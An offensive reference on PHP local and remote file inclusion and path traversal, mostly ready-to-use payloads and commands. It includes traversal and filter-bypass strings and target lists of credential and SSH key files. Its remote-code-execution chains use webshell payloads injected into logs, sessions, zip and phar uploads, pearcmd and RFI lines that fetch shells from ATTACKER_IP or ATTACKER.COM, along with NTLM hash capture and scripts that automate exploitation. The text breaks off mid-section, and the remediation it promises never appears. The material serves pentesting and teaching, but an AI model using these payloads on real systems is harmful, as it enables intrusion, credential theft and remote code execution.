A complete operational reference for File Inclusion (LFI/RFI) and Path Traversal covering detection, fingerprinting, OS-specific traversal sequences, LFI-to-RCE chains (log poisoning, /proc, PHPInfo, session files, pearcmd, environ), Remote File Inclusion, filter bypass, wrapper abuse (php://, data://, expect://, zip://), automation with ffuf and Burp, and remediation. Mapped to MITRE ATT&CK T1190 / T1083 / T1005.
1. Core Concepts & Vulnerability Types
VULNERABILITY TAXONOMY:
FILE INCLUSION & PATH TRAVERSAL
├── PATH TRAVERSAL (Directory Traversal)
│ ├── Read arbitrary files outside web root via ../ sequences
│ ├── Linux/macOS: ../../../../etc/passwd
│ └── Windows: ..\..\..\windows\win.ini
│
├── LOCAL FILE INCLUSION (LFI)
│ ├── PHP include()/require() with user input → reads & EXECUTES local file as PHP
│ ├── File read only (no execution) — still leaks source, secrets, keys
│ └── LFI → RCE chains (log poisoning, /proc, sessions, wrappers)
│
├── REMOTE FILE INCLUSION (RFI)
│ ├── PHP include() fetches a URL → attacker-controlled PHP executes on server
│ ├── Requires allow_url_include=On (disabled by default in PHP ≥ 5.2)
│ └── Rare but immediate RCE when present
│
└── PHP WRAPPER ABUSE
├── php://filter → read source code base64-encoded
├── php://input → POST body executed as PHP
├── data:// → inline PHP code execution
├── expect:// → direct OS command execution
├── zip:// / phar:// → execute PHP inside archives
└── file:// → explicit local file inclusion
Key Terms:
- Include Path — the argument to PHP include(), require(), include_once(), require_once() — if user-controlled, leads to LFI/RFI.
- Path Traversal — using ../ or ..\ sequences to escape the intended directory and reach arbitrary filesystem paths.
- Null Byte — %00 — terminates a C string. In older PHP (< 5.3.4), appending %00 truncates an extension added by the application (page.php%00 → page).
- PHP Wrappers — PHP's stream abstraction layer. php://, data://, expect://, zip://, phar:// can all be used as include() arguments to trigger non-standard behavior.
- Log Poisoning — inject PHP code into a log file (via User-Agent, SSH, SMTP), then include the log file via LFI to achieve RCE.
- RFI — Remote File Inclusion — the server fetches and executes a PHP file from an attacker-controlled URL.
- allow_url_include — PHP configuration directive (default: Off). Must be On for RFI and php://input / data:// wrappers to work.
- allow_url_fopen — PHP configuration directive (default: On). Required for RFI; also enables file_get_contents('http://...').
Why It Happens:
// VULNERABLE — user input directly in include():
<?php
$page = $_GET['page'];
include($page . ".php"); // ?page=../../../../etc/passwd%00
include("pages/" . $page); // ?page=../../../etc/passwd
?>
// VULNERABLE — no include(), but exposes file contents:
<?php
$file = $_GET['file'];
echo file_get_contents($file); // direct file read, no execution
readfile($file);
highlight_file($file);
show_source($file);
fopen($file, 'r');
?>
// SAFE:
<?php
$allowed = ['home', 'about', 'contact'];
$page = $_GET['page'];
if (!in_array($page, $allowed)) { die('Invalid page'); }
include("pages/" . $page . ".php");
?>
LFI vs Path Traversal:
- Path Traversal: reads the raw file content — useful for config files, /etc/passwd, secrets.
- LFI: reads AND executes the file as PHP if it ends with .php — enables RCE chains.
- Both can exist without the other, but often appear together in PHP applications.
2. Detection & Fingerprinting
2.1 Common Injection Points
→ GET parameters: ?page=home ?file=report ?path=docs/ ?template=main
→ POST parameters: filename=, document=, include=, module=, section=
→ Cookie values: lang=en theme=dark template=default
→ HTTP headers: Referer (some apps include referrer path)
→ Path segments: /files/download/invoice.pdf /view/../../etc/passwd
→ JSON body: {"report": "monthly", "format": "pdf"}
→ XML body: <file>report.xml</file>
→ URL path: /app/uploads/../../../etc/passwd
→ Content-Disposition: filename= in multipart uploads
2.2 Detection Probes — Path Traversal
Test with a file guaranteed to exist on every target OS:
# Linux — target /etc/passwd:
?file=../../../etc/passwd
?file=....//....//....//etc/passwd
?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
?file=..%2F..%2F..%2Fetc%2Fpasswd
# Windows — target windows\win.ini:
?file=..\..\..\windows\win.ini
?file=..%5C..%5C..%5Cwindows%5Cwin.ini
?file=....\\....\\....\\windows\\win.ini
# Confirm: response contains "root:" (Linux) or "[fonts]" (Windows)
2.3 Detection Probes — LFI (PHP)
# Basic LFI test — read /etc/passwd:
?page=../../../etc/passwd
?page=php://filter/convert.base64-encode/resource=/etc/passwd
# LFI with extension appended by app (?page=X → include("pages/X.php")):
?page=../../../etc/passwd%00 # null byte (PHP < 5.3.4)
?page=../../../etc/passwd # if no extension appended
?page=php://filter/convert.base64-encode/resource=../../../etc/passwd
# Confirm LFI via source code read (no output if extension appended):
?page=php://filter/convert.base64-encode/resource=index
# → base64 response → decode → PHP source code
2.4 Error-Based Fingerprinting
# Inject invalid path — error reveals app behavior:
?page=/etc/DOESNOTEXIST12345
# Error messages to look for:
# "include(/var/www/html/pages/PAYLOAD.php): failed to open stream" → LFI + extension appended
# "include(PAYLOAD): failed to open stream: No such file" → LFI, no extension
# "Warning: file_get_contents(PAYLOAD)" → file read (not LFI exec)
# "open_basedir restriction in effect" → PHP open_basedir set
# "allow_url_fopen must be enabled" → RFI blocked
# No error, empty page → errors suppressed; test blind
2.5 Blind Detection
When errors are suppressed:
# Compare known-good vs known-bad path:
?file=../../../etc/passwd # length/content changes → file read
?file=../../../etc/DOESNOTEXIST # empty / shorter response
# Time-based (if app sleeps on missing files — rare but exists):
# No reliable generic method — use response length differential
# Canary file: if you have upload, upload a file with known content:
# Upload: shell.txt containing "CANARY123"
# Include: ?file=../uploads/shell.txt → look for "CANARY123"
3. Path Traversal — OS Payloads
3.1 Linux Traversal Sequences
Basic:
../../../etc/passwd
../../../../etc/passwd
../../../../../etc/passwd
../../../../../../etc/passwd # go deeper than needed — safe
../../../../../../../etc/passwd
URL-encoded (single):
..%2F..%2F..%2Fetc%2Fpasswd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
%2e%2e/%2e%2e/%2e%2e/etc/passwd
Double URL-encoded:
..%252F..%252F..%252Fetc%252Fpasswd # %25 → % after first decode → ../
%252e%252e%252f%252e%252e%252fetc/passwd
Unicode / UTF-8 overlong:
..%c0%af..%c0%afetc%c0%afpasswd # %c0%af = / (overlong)
..%ef%bc%8f..%ef%bc%8fetc%ef%bc%8fpasswd # / fullwidth solidus
Mixed slash:
..\../etc/passwd
../.\../etc/passwd
Doubled dots bypass:
....//....//....//etc/passwd
....\/....\/....\/etc/passwd
Absolute path (if no prefix prepended):
/etc/passwd
file:///etc/passwd
3.2 Windows Traversal Sequences
Basic (backslash):
..\..\..\windows\win.ini
..\..\..\..\windows\system32\drivers\etc\hosts
Mixed slash:
../../../windows/win.ini
..\../windows\win.ini
URL-encoded:
..%5C..%5C..%5Cwindows%5Cwin.ini # %5C = \
..%2F..%2F..%2Fwindows%2Fwin.ini # %2F = /
Double URL-encoded:
..%255C..%255Cwindows%255Cwin.ini
UNC path (if app passes to file function):
\\attacker.com\share\file
\\127.0.0.1\c$\windows\win.ini
Windows device names (no path needed):
CON, PRN, AUX, NUL, COM1-9, LPT1-9
3.3 Depth-Aware Traversal
The number of ../ needed depends on where the app is in the filesystem:
App root: /var/www/html/ → 3 levels to /
App page: /var/www/html/pages/ → 4 levels to /
App deep: /var/www/html/a/b/c/ → 6 levels to /
Always overshoot — extra ../ at filesystem root is harmless:
../../../../../../../../../../etc/passwd # safe to use 10+ levels
4. Local File Inclusion (LFI)
4.1 Basic LFI Payloads
# Direct inclusion (no suffix appended):
?page=../../../etc/passwd
?page=/etc/passwd # if absolute path allowed
?page=....//....//etc/passwd # filter bypass
# With .php suffix appended by app:
?page=../../../etc/passwd%00 # null byte (PHP < 5.3.4 only)
?page=../../../etc/passwd/./ # path normalization trick (rare)
?page=php://filter/convert.base64-encode/resource=../../../etc/passwd # bypasses extension
4.2 PHP Source Code Disclosure
Read PHP source without executing it:
# Base64 encode the file content — bypasses extension checks:
?page=php://filter/convert.base64-encode/resource=index
?page=php://filter/convert.base64-encode/resource=../config
?page=php://filter/convert.base64-encode/resource=../../../etc/passwd
# Decode the base64 response:
echo "BASE64OUTPUT" | base64 -d
# Chain multiple filters:
?page=php://filter/read=string.rot13|convert.base64-encode/resource=index
# ROT13 only (simpler, no null bytes):
?page=php://filter/read=string.rot13/resource=config.php
4.3 LFI — Common PHP Files to Read
# Application config & source:
php://filter/convert.base64-encode/resource=config
php://filter/convert.base64-encode/resource=../config/database
php://filter/convert.base64-encode/resource=wp-config # WordPress
php://filter/convert.base64-encode/resource=configuration # Joomla
php://filter/convert.base64-encode/resource=../application/config/database # CodeIgniter
php://filter/convert.base64-encode/resource=.env # Laravel / general
# Auth/session handler:
php://filter/convert.base64-encode/resource=../includes/auth
php://filter/convert.base64-encode/resource=login
5. High-Value Target Files
5.1 Linux / Unix
# User & auth:
/etc/passwd # usernames, home dirs, shells
/etc/shadow # password hashes (requires root read)
/etc/group # group memberships
/etc/sudoers # sudo rules
/root/.ssh/id_rsa # root SSH private key
/home/USER/.ssh/id_rsa # user SSH private key
/home/USER/.ssh/authorized_keys
# System info:
/etc/hostname
/etc/hosts
/etc/os-release
/proc/version # kernel version
/proc/cmdline # kernel boot parameters
# Credentials in configs:
/etc/mysql/my.cnf # MySQL credentials
/etc/mysql/mysql.conf.d/mysqld.cnf
/etc/postgresql/*/main/pg_hba.conf
/etc/phpmyadmin/config.inc.php
# Web server configs:
/etc/apache2/apache2.conf
/etc/apache2/sites-enabled/000-default.conf
/etc/nginx/nginx.conf
/etc/nginx/sites-enabled/default
/etc/httpd/conf/httpd.conf # CentOS/RHEL Apache
# Web server logs (for log poisoning):
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/access_log # CentOS
/var/log/auth.log # SSH auth log (poison via user field)
/var/log/syslog
/var/log/mail.log # Mail log (poison via SMTP RCPT TO)
/var/log/vsftpd.log # FTP log (poison via username)
# PHP:
/etc/php/*/apache2/php.ini # PHP config — check allow_url_include
/etc/php/*/fpm/php.ini
/etc/php.ini
# SSH:
/etc/ssh/sshd_config
# Mail:
/etc/postfix/main.cf
/var/mail/root
5.2 PHP Session & Temp Files
# PHP session files (default location):
/var/lib/php/sessions/sess_SESSIONID
/tmp/sess_SESSIONID
/tmp/sessions/sess_SESSIONID
# PHPInfo output (if page exists):
/phpinfo.php
/info.php
/php_info.php
/test.php
# Upload temp dir (race condition RCE — see section 9):
/tmp/phpXXXXXX # auto-generated name
5.3 /proc Virtual Filesystem
# Self process:
/proc/self/cmdline # current process command line
/proc/self/environ # current process environment (may contain secrets)
/proc/self/fd/0 # stdin
/proc/self/fd/1 # stdout
/proc/self/fd/2 # stderr
/proc/self/fd/N # file descriptor N (fd/10 etc.)
/proc/self/maps # memory map — reveals binary paths and libraries
/proc/self/status # PID, PPID, UID, GID
/proc/self/net/fib_trie # internal IP addresses
/proc/self/net/tcp # open TCP connections (hex format)
/proc/self/net/arp # ARP table — other hosts in subnet
/proc/self/loginuid # original login UID
# Find open file descriptors → enumerate logs and configs:
/proc/self/fd/0 through /proc/self/fd/99
# Trick: /proc/self/fd/N for common FDs often points to open log files
5.4 Windows
# System:
C:\windows\win.ini
C:\windows\system.ini
C:\windows\system32\drivers\etc\hosts
C:\boot.ini
# IIS:
C:\inetpub\wwwroot\web.config # app settings, connection strings, secrets
C:\windows\system32\inetsrv\config\applicationHost.config
C:\inetpub\logs\LogFiles\W3SVC1\*.log # IIS access logs
# Credentials:
C:\windows\repair\SAM
C:\windows\system32\config\SAM
C:\windows\system32\config\SYSTEM
C:\windows\system32\config\SECURITY
C:\users\Administrator\NTUser.dat
# PHP on Windows:
C:\php\php.ini
C:\xampp\php\php.ini
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\wamp\logs\access.log
# Web configs:
C:\inetpub\wwwroot\global.asa
C:\inetpub\wwwroot\web.config
6. LFI to RCE — Log Poisoning
The technique: inject PHP code into a log file via a poisonable field (User-Agent, username, etc.), then include the log file via LFI to execute it.
6.1 Apache / Nginx Access Log Poisoning
# Step 1: Inject PHP into the User-Agent (or any reflected field):
curl -s "http://target.com/" -H "User-Agent: <?php system(\$_GET['cmd']); ?>"
# The log entry becomes:
# 10.0.0.1 - - [date] "GET / HTTP/1.1" 200 1234 "-" "<?php system($_GET['cmd']); ?>"
# Step 2: Include the access log via LFI + pass cmd parameter:
?page=../../../../var/log/apache2/access.log&cmd=id
?page=../../../../var/log/nginx/access.log&cmd=id
# Other log paths to try:
?page=../../../../var/log/httpd/access_log&cmd=id # CentOS
?page=../../../../proc/self/fd/N&cmd=id # via /proc FD
# Notes:
# - Log must be readable by www-data (often is for access.log)
# - Payload persists in log until rotated
# - Use base64 to avoid log-breaking characters:
curl -H "User-Agent: <?php system(base64_decode(\$_GET['c'])); ?>" http://target.com/
?page=../../../../var/log/apache2/access.log&c=aWQ= # base64("id")
6.2 SSH Log Poisoning (auth.log)
# Step 1: Inject PHP code into /var/log/auth.log via SSH username:
ssh '<?php system($_GET["cmd"]); ?>'@target.com
# → auth.log entry: "Invalid user <?php system($_GET["cmd"]); ?> from ..."
# Step 2: Include auth.log:
?page=../../../../var/log/auth.log&cmd=id
# Alternative — encode payload to avoid spaces:
ssh '<?php system($_REQUEST[1]); ?>'@target.com
?page=../../../../var/log/auth.log&1=id
6.3 SMTP / Mail Log Poisoning
# Connect to mail port and inject PHP in RCPT TO / MAIL FROM:
nc target.com 25
HELO attacker.com
MAIL FROM: attacker@attacker.com
RCPT TO: <?php system($_GET['cmd']); ?>
DATA
.
QUIT
# Then include:
?page=../../../../var/log/mail.log&cmd=id
?page=../../../../var/log/mail&cmd=id
6.4 FTP Log Poisoning
# Login to FTP with PHP payload as username:
ftp target.com
Username: <?php system($_GET['cmd']); ?>
Password: anything
# Then include:
?page=../../../../var/log/vsftpd.log&cmd=id
7. LFI to RCE — /proc & /environ
7.1 /proc/self/environ
# /proc/self/environ contains environment variables of the running PHP process.
# Inject PHP into an env var the web server populates from user input (HTTP_USER_AGENT):
curl -s "http://target.com/?page=../../../proc/self/environ" \
-H "User-Agent: <?php system(\$_GET['cmd']); ?>"
# If environ is readable AND PHP processes the file:
?page=../../../../proc/self/environ&cmd=id
# Note: Requires /proc/self/environ to be readable by www-data
# Modern systems often restrict this (root-only)
# Fallback: check /proc/self/fd/* for open file handles to readable files
7.2 /proc/self/fd — Open File Descriptors
# The web process keeps open file handles to log files.
# Enumerate /proc/self/fd/ to find which FD points to a poisonable log:
?page=../../../../proc/self/fd/0
?page=../../../../proc/self/fd/1
?page=../../../../proc/self/fd/2
?page=../../../../proc/self/fd/3
... (iterate up to fd/20 or more)
# Once you find the access log FD (it will show the log content):
# 1. Poison via User-Agent (Section 6.1)
# 2. Include via the FD:
?page=../../../../proc/self/fd/N&cmd=id
# Check /proc/self/maps to identify open files:
?page=../../../../proc/self/maps
8. LFI to RCE — PHP Session Files
8.1 Session File Poisoning
PHP stores session data in files. If any session variable is user-controlled and stored, inject PHP code there.
# Step 1: Find a parameter stored in the session.
# Look for login forms, preferences, profile fields that persist across requests.
# Step 2: Set the session variable to PHP code:
# In a username field:
POST /login HTTP/1.1
username=<?php system($_GET['cmd']); ?>&password=anything
# Step 3: Note your session ID from the Set-Cookie header:
# Set-Cookie: PHPSESSID=abc123def456
# Step 4: Include the session file:
?page=../../../../var/lib/php/sessions/sess_abc123def456&cmd=id
?page=../../../../tmp/sess_abc123def456&cmd=id
?page=../../../../tmp/sessions/sess_abc123def456&cmd=id
# Common session file locations:
/var/lib/php/sessions/sess_SESSIONID
/var/lib/php/session/sess_SESSIONID
/tmp/sess_SESSIONID
/tmp/php_sessions/sess_SESSIONID
# session.save_path from phpinfo or php.ini tells you the exact path.
9. LFI to RCE — PHPInfo() Race
When a PHPInfo page is accessible, PHP temporarily stores uploaded files in /tmp/phpXXXXXX before the script decides to move or delete them. Race condition: include the temp file before PHP deletes it.
# Requires:
# 1. PHPInfo() page accessible (e.g. /phpinfo.php)
# 2. LFI vulnerability in another page
# 3. Temp file name visible in PHPInfo output under $_FILES
# Step 1: Upload a file containing PHP code while simultaneously reading PHPInfo:
# The multipart upload creates /tmp/phpXXXXXX containing your payload
# Step 2: PHPInfo page reveals the temp filename:
# $_FILES["file"]["tmp_name"] = /tmp/phpXXXXXX
# Step 3: Race to include it before deletion:
?page=../../../../tmp/phpXXXXXX
# Automation: use phpInfoLFI.py (Gynvael Coldwind's PoC):
python phpInfoLFI.py target.com 80 /phpinfo.php /lfi.php
# Manual race with threading:
# Send upload request + LFI request simultaneously in a tight loop
10. LFI to RCE — pearcmd & Other Tricks
10.1 pearcmd (Docker / Register_argc_argv)
When register_argc_argv = On (common in Docker images), the PEAR command-line tool can be invoked via LFI to create files.
# Requires: register_argc_argv=On, pear installed (common in PHP Docker images)
# pearcmd.php is often at /usr/local/lib/php/pearcmd.php
# Use pearcmd to write a webshell via the "download" or "install" command:
?page=../../../../usr/local/lib/php/pearcmd&+install+-R+/tmp+http://ATTACKER.COM/shell.php
# Alternative — use config-create to write arbitrary file:
?page=../../../../usr/local/lib/php/pearcmd&+config-create+/&/tmp/shell.php
# Then include the written shell:
?page=../../../../tmp/shell.php&cmd=id
# Docker PHP images that commonly have this:
# php:7.x, php:8.x official images with pear
10.2 Nginx Temp Files (Upload Race)
# When Nginx buffers large request bodies to disk:
# /var/lib/nginx/body/NNNN — temp files for buffered request bodies
# 1. Send large POST containing PHP payload (padding + PHP code)
# 2. Race to include /var/lib/nginx/body/ files while request is in flight
# Enumerate temp files:
?page=../../../../var/lib/nginx/body/1234567890
10.3 File Upload + LFI
# If upload is possible (even with content-type/extension restrictions):
# Upload image with PHP code embedded:
# Create a polyglot JPG/PHP:
echo -e "\xFF\xD8\xFF\xE0<?php system(\$_GET['cmd']); ?>" > shell.jpg
# Or embed in EXIF data:
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg
# Upload the file, note its stored path (e.g. /uploads/shell.jpg)
# Include it via LFI:
?page=../../../../var/www/html/uploads/shell.jpg&cmd=id
11. PHP Wrappers & Stream Filters
11.1 php://filter — Read Source Without Execution
# Base64 encode (most common — bypasses extension filter and binary issues):
?page=php://filter/convert.base64-encode/resource=index
?page=php://filter/convert.base64-encode/resource=config
?page=php://filter/convert.base64-encode/resource=/etc/passwd
# ROT13 (human-readable, no base64 decode needed):
?page=php://filter/read=string.rot13/resource=index.php
# Chain filters:
?page=php://filter/convert.iconv.UTF-8.UTF-16/convert.base64-encode/resource=index
# zlib compression (smaller output):
?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
# Decode: echo "B64" | base64 -d | python3 -c "import zlib,sys; print(zlib.decompress(sys.stdin.buffer.read()).decode())"
# Iconv filter (bypass some WAFs looking for base64-encode keyword):
?page=php://filter/convert.iconv.UTF-8.UTF-7/resource=index.php
11.2 php://filter — RCE via Filter Chain (PHP 8 / iconv gadgets)
PHP filter chains can generate arbitrary strings from a blank resource — no file write needed:
# Tool: php_filter_chain_generator (loknop)
# Generates a filter chain that outputs any PHP code when included
python3 php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]); ?>'
# → Outputs a long php://filter/... payload
# Use output as the LFI page parameter:
?page=php://filter/convert.iconv.UTF-8.CSISO2022KR|convert.base64-encode|...[chain]...|convert.base64-decode/resource=php://temp&cmd=id
# No existing file required — the chain generates the payload from thin air.
# Works on PHP ≥ 7 with iconv installed.
11.3 php://input — Execute POST Body as PHP
# Requires: allow_url_include=On
# Send PHP code in POST body; include php://input to execute it:
curl -s "http://target.com/?page=php://input" \
--data '<?php system($_GET["cmd"]); ?>' \
-G --data-urlencode "cmd=id"
# Simple POST:
POST /?page=php://input HTTP/1.1
Content-Type: application/x-www-form-urlencoded
<?php system('id'); ?>
11.4 data:// — Inline PHP Execution
# Requires: allow_url_include=On
# Plain PHP:
?page=data://text/plain,<?php system('id'); ?>
# Base64 encoded (avoids character issues):
# Encode: echo -n '<?php system($_GET["cmd"]); ?>' | base64
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+&cmd=id
# URL-encoded data:
?page=data:text/plain,%3C%3Fphp+system%28%27id%27%29%3B+%3F%3E
11.5 expect:// — Direct OS Command (Requires expect extension)
# Requires: PHP expect extension installed (rare, but present in some configs)
?page=expect://id
?page=expect://whoami
?page=expect://cat+/etc/passwd
11.6 file:// — Explicit File Inclusion
# Explicit protocol (sometimes bypasses relative path checks):
?page=file:///etc/passwd
?page=file:///var/www/html/config.php
?page=file://localhost/etc/passwd
12. Remote File Inclusion (RFI)
12.1 Basic RFI
# Requires: allow_url_include=On (PHP default: Off since PHP 5.2)
# Host a PHP webshell:
echo '<?php system($_GET["cmd"]); ?>' > shell.php
python3 -m http.server 8080
# Include your remote file:
?page=http://ATTACKER_IP:8080/shell.php&cmd=id
?page=http://ATTACKER_IP:8080/shell.php%00&cmd=id # null byte if .php appended
?page=ftp://ATTACKER_IP/shell.php # via FTP
?page=\\ATTACKER_IP\share\shell.php # Windows UNC (SMB)
# HTTPS:
?page=https://ATTACKER_IP/shell.php&cmd=id
12.2 RFI Bypasses
# If http:// is blocked — try HTTPS, FTP, UNC:
?page=https://ATTACKER_IP/shell.php
?page=ftp://ATTACKER_IP/shell.php
?page=\\ATTACKER_IP\share\shell # Windows
# If URL scheme filter strips http://:
?page=HTTP://ATTACKER_IP/shell.php # uppercase
?page=hhttp://ATTACKER_IP/shell.php # double-h (rare filter bypass)
?page=http://127.0.0.1@ATTACKER_IP/shell.php # credentials bypass
?page=//ATTACKER_IP/shell.php # protocol-relative
# SMB/UNC bypass (Windows):
?page=\\ATTACKER_IP\share\shell.php
?page=/////ATTACKER_IP/share/shell.php
12.3 Detect RFI
# Check if allow_url_include is On:
# 1. Read php.ini via LFI and grep for allow_url_include
# 2. PHPInfo() page — search "allow_url_include"
# 3. Try RFI — if it fetches your server → RFI confirmed
# Set up listener and see if request arrives:
python3 -m http.server 8080
?page=http://ATTACKER_IP:8080/test.php
# If Apache/Nginx log shows GET /test.php → RFI confirmed
13. Null Byte & Extension Bypass
13.1 Null Byte Truncation (PHP < 5.3.4)
# When app appends extension: include($input . ".php")
# Null byte terminates the string before the extension:
?page=../../../etc/passwd%00
?page=../../../etc/passwd\0 # literal null (URL-encode to %00)
# With path traversal:
?page=../../../../etc/passwd%00
?page=php://filter/convert.base64-encode/resource=../../../../etc/passwd%00
13.2 Modern Extension Bypasses (PHP ≥ 5.3.4)
# Null byte no longer works in modern PHP. Alternatives:
# Use php://filter — doesn't matter what extension is appended:
?page=php://filter/convert.base64-encode/resource=../../../etc/passwd
# App turns this into: php://filter/.../resource=../../../etc/passwd.php
# PHP ignores the .php appended after /resource=... in some contexts
# Path truncation (very long filename, old systems):
?page=../../../etc/passwd/././././././././././././././././././././././.
# PHP on some configs truncates the path at 4096 chars
# Double extension (if app strips last extension):
?page=../../../etc/passwd.jpg.php # if app strips .php → reads .jpg as PHP
14. Filter Bypass Techniques
14.1 Bypass Simple String Filters
# Filter strips "../":
....//....//....//etc/passwd # collapse to ../ after strip
..././..././..././etc/passwd # /./ collapses too
%2e%2e%2f%2e%2e%2fetc%2fpasswd # URL encoded — decoded by web server
..%2F..%2Fetc%2Fpasswd # mixed encoding
# Filter strips "..":
.....///.....///.....///etc/passwd
%2e%2e/%2e%2e/%2e%2e/etc/passwd
# Filter strips "/" only:
..\..\..\etc\passwd # use backslash
..%5C..%5Cetc%5Cpasswd # URL-encoded backslash
# Filter checks start of path (must begin with /var/www):
/var/www/../../etc/passwd
/var/www/%2e%2e/%2e%2e/etc/passwd
14.2 Bypass Keyword Filters
# Filter blocks "etc/passwd":
/etc/./passwd # extra ./ in path
/etc//passwd # double slash
/etc/passwd%00 # null byte suffix
%2fetc%2fpasswd # URL encoded
/etc/PASSWD # case variation (case-insensitive FS)
# Filter blocks "php://":
PHP://filter/... # uppercase
php:%2F%2Ffilter/... # URL encode slashes
14.3 Double URL Encoding
# Web server decodes once, app decodes again:
..%252F..%252F..%252Fetc%252Fpasswd
# First decode: ..%2F..%2F..%2Fetc%2Fpasswd
# Second decode: ../../../etc/passwd
%252e%252e%252f%252e%252e%252fetc/passwd
14.4 Unicode & Alternate Encodings
# Overlong UTF-8 (classic):
%c0%af → / (overlong slash)
%c1%9c → \ (overlong backslash)
# Fullwidth characters:
%2e%2e/ → ../
$_GET → PHP variable (some Unicode confusion attacks)
# IIS-specific:
%c0%2f → / (IIS decoding quirk)
%e0%80%af → / (another overlong)
15. Zip / Phar Wrappers
15.1 zip:// Wrapper
# Requires: PHP with zip extension (common)
# Upload a ZIP containing a PHP shell:
# Step 1: Create ZIP with PHP file inside:
echo '<?php system($_GET["cmd"]); ?>' > shell.php
zip shell.zip shell.php
# Step 2: Upload shell.zip (may pass as benign ZIP)
# Step 3: Reference PHP file inside the ZIP via LFI:
?page=zip://uploads/shell.zip%23shell.php&cmd=id
# Note: %23 = # (fragment separator in URL, hash in zip:// path)
# zip://PATH_TO_ZIP#FILE_INSIDE_ZIP
# With absolute path:
?page=zip:///var/www/html/uploads/shell.zip%23shell.php
15.2 phar:// Wrapper
# phar:// can reference files inside PHAR archives (similar to ZIP)
# PHAR files can be disguised as other types (JPG, GIF, etc.)
# Step 1: Create PHAR with PHP payload:
php -r "
\$p = new Phar('shell.phar', 0, 'shell.phar');
\$p->startBuffering();
\$p->setStub('<?php __HALT_COMPILER(); ?>');
\$p['shell.php'] = '<?php system(\$_GET[\"cmd\"]); ?>';
\$p->stopBuffering();
"
# Rename to evade upload filter:
mv shell.phar shell.jpg
# Step 2: Upload shell.jpg (passes image check if no content inspection)
# Step 3: Include via phar://:
?page=phar://uploads/shell.jpg/shell.php&cmd=id
# Note: phar:// also works for deserialization gadgets in PHP object injection
16. Windows-Specific Techniques
16.1 Windows Path Traversal
# Basic:
?file=..\..\..\windows\win.ini
?file=../../../windows/win.ini # forward slash works on Windows too
# UNC path for SMB:
?file=\\ATTACKER_IP\share\shell.php # RFI via SMB (allow_url_include=On)
?file=//ATTACKER_IP/share/file.txt # SMB read
# → Also triggers NTLM hash capture if app connects to attacker SMB:
# Responder.py -I eth0 -wrf # capture Net-NTLM hash
# Windows device files (no extension needed, accessible from any path):
?file=../../windows/system32/CON
# NUL, CON, PRN, AUX, COM1-9, LPT1-9 — may cause hangs or errors
16.2 IIS Short Name (8.3) Bypass
# Windows NTFS allows 8.3 short names for all files:
# web.config → WEB~1.CON
# secret.txt → SECRET~1.TXT
?file=WEB~1.CON # reads web.config on IIS
?file=../SECRET~1.TXT
# Enumerate 8.3 names with iis-shortname-scanner:
java -jar iis-shortname-scanner.jar target.com /
16.3 IIS Log Poisoning
# IIS access logs:
?file=../../../../inetpub/logs/LogFiles/W3SVC1/u_exYYMMDD.log
# Inject into User-Agent header:
curl -H "User-Agent: <?php system(\$_GET['cmd']); ?>" http://target.com/
# Note: IIS doesn't execute PHP by default — check if PHP is installed.
# For ASP/ASPX targets, inject ASP code instead:
curl -H "User-Agent: <% Response.Write(CreateObject(\"WScript.Shell\").Exec(\"cmd.exe /c whoami\").StdOut.ReadAll) %>" http://target.com/
17. Automation — ffuf, Burp & Tools
17.1 ffuf — Path Traversal Fuzzing
# Wordlist fuzzing for path traversal:
ffuf -u "http://target.com/index.php?file=FUZZ" \
-w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
-fs 0 -fc 404
# With traversal sequences:
ffuf -u "http://target.com/index.php?file=../../../FUZZ" \
-w /usr/share/wordlists/seclists/Discovery/Web-Content/Linux-paths.txt \
-mr "root:" -fs 0
# Fuzz both parameter name and value:
ffuf -u "http://target.com/index.php?FUZZ=../../../etc/passwd" \
-w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt \
-mr "root:"
# POST parameter fuzzing:
ffuf -u "http://target.com/api/file" \
-X POST \
-d "file=FUZZ" \
-H "Content-Type: application/x-www-form-urlencoded" \
-w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
-fs 0
17.2 Burp Suite
MANUAL TESTING WORKFLOW:
1. Intercept request in Proxy
2. Send to Intruder (Ctrl+I)
3. Mark parameter value as payload position
4. Payload type: Simple list
5. Load: SecLists/Fuzzing/LFI/LFI-Jhaddix.txt
6. Grep → Match: "root:" or "[fonts]"
7. Start attack → filter by Grep match
ACTIVE SCANNER:
Scanner → right-click request → "Actively scan this insertion point"
→ Scanner detects Path Traversal and LFI natively
BURP EXTENSIONS (BApp Store):
- Backslash Powered Scanner: finds path traversal via backslash variants
- LFI Scanner: dedicated LFI detection
- Upload Scanner: tests uploaded files for LFI/RCE
17.3 LFISuite / Kadimus
# LFISuite — automated LFI exploitation:
python2 lfisuite.py
# → Enter URL, parameter, auto-tests traversal depths, wrappers, RCE methods
# Kadimus — LFI scanner and exploiter:
./kadimus -u "http://target.com/?page=INJECT" -C "id"
./kadimus -u "http://target.com/?page=INJECT" --rce
./kadimus -u "http://target.com/?page=INJECT" --lfi-list payloads.txt
17.4 Wfuzz
# Fuzz for LFI parameter name:
wfuzz -c -z file,/usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt \
--hc 404 --hs "Not Found" \
"http://target.com/?FUZZ=../../../etc/passwd"
# Fuzz traversal depth:
wfuzz -c -z list,1-2-3-4-5-6-7-8-9-10 \
"http://target.com/?file=$(python3 -c "print('../'*FUZZ)")etc/passwd"
17.5 curl One-Liners
# Quick path traversal check:
for i in 1 2 3 4 5 6 7 8; do
PAYLOAD=$(python3 -c "print('../'*$i)")etc/passwd
RESULT=$(curl -s "http://target.com/?file=$PAYLOAD" | grep -c "root:")
echo "Depth $i: $RESULT matches"
done
# Wrapper quick test:
curl -s "http://target.com/?file=php://filter/convert.base64-encode/resource=index" \
| grep -oP '[A-Za-z0-9+/=]{20,}' | base64 -d 2>/dev/null | head -20
# Log poisoning full chain:
